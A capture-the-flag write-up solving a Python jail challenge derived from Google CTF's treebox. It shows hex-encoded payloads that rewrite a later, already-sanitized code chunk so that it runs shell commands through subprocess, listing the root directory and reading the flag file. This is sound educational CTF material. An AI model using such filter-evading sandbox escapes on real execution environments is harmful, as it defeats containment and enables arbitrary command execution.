In this challenge we need to solve a pyjail that looks very similar to another pyjail. From the very beginning, this pyjail hints that it was ripped from another CTF.

Mind games

The challenge description comes with the notice:

This jail was totally not made last minute (based on gctf treebox)

The title also hints that this was quickly put together.

Opening the file, we notice a copyright notice from Google in 2022.

# Copyright 2022 Google LLC
...
# Flag is in a file called "flag" in cwd.

The rest of the code looks extremely similar except for 3 major differences:

  • The AST is filtered on a whitelist rather than a blacklist
  • The characters @.()# are banned
  • The code is run in chunks delimited by --CHUNK

As you probably guessed by now, this challenge has nothing to do with previous challenges.

The exploit

When we run exec we get access to the current context, so we could modify the code contained in the second chunk after it got sanitized.

The code

We want to encode all our characters as hex to bypass the filters.

let’s inject

import subprocess;
p = subprocess.Popen("ls /", stdout=subprocess.PIPE, shell=True);
(output, err) = p.communicate();
print(output)

The code we give netcat is:

chunks[1] = "\x69\x6d\x70\x6f\x72\x74\x20\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x3b\x70\x20\x3d\x20\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2e\x50\x6f\x70\x65\x6e\x28\x22\x6c\x73\x20\x2f\x22\x2c\x20\x73\x74\x64\x6f\x75\x74\x3d\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2e\x50\x49\x50\x45\x2c\x20\x73\x68\x65\x6c\x6c\x3d\x54\x72\x75\x65\x29\x3b\x28\x6f\x75\x74\x70\x75\x74\x2c\x20\x65\x72\x72\x29\x20\x3d\x20\x70\x2e\x63\x6f\x6d\x6d\x75\x6e\x69\x63\x61\x74\x65\x28\x29\x3b\x70\x72\x69\x6e\x74\x28\x6f\x75\x74\x70\x75\x74\x29"
--CHUNK
1 + 1
--END

We find that the flag is located in /flag.poyvHVzi1MUB72nR0gly.txt

Let’s modify our injected code cat

import subprocess;
p = subprocess.Popen("cat /flag.poyvHVzi1MUB72nR0gly.txt", stdout=subprocess.PIPE, shell=True);
(output, err) = p.communicate();
print(output)

The code we give netcat is:

chunks[1] = "\x69\x6d\x70\x6f\x72\x74\x20\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x3b\x70\x20\x3d\x20\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2e\x50\x6f\x70\x65\x6e\x28\x22\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x2e\x70\x6f\x79\x76\x48\x56\x7a\x69\x31\x4d\x55\x42\x37\x32\x6e\x52\x30\x67\x6c\x79\x2e\x74\x78\x74\x22\x2c\x20\x73\x74\x64\x6f\x75\x74\x3d\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2e\x50\x49\x50\x45\x2c\x20\x73\x68\x65\x6c\x6c\x3d\x54\x72\x75\x65\x29\x3b\x28\x6f\x75\x74\x70\x75\x74\x2c\x20\x65\x72\x72\x29\x20\x3d\x20\x70\x2e\x63\x6f\x6d\x6d\x75\x6e\x69\x63\x61\x74\x65\x28\x29\x3b\x70\x72\x69\x6e\x74\x28\x6f\x75\x74\x70\x75\x74\x29"
--CHUNK
1 + 1
--END

Flag

vsctf{PYTHONNNNNN_SO_FUNNN}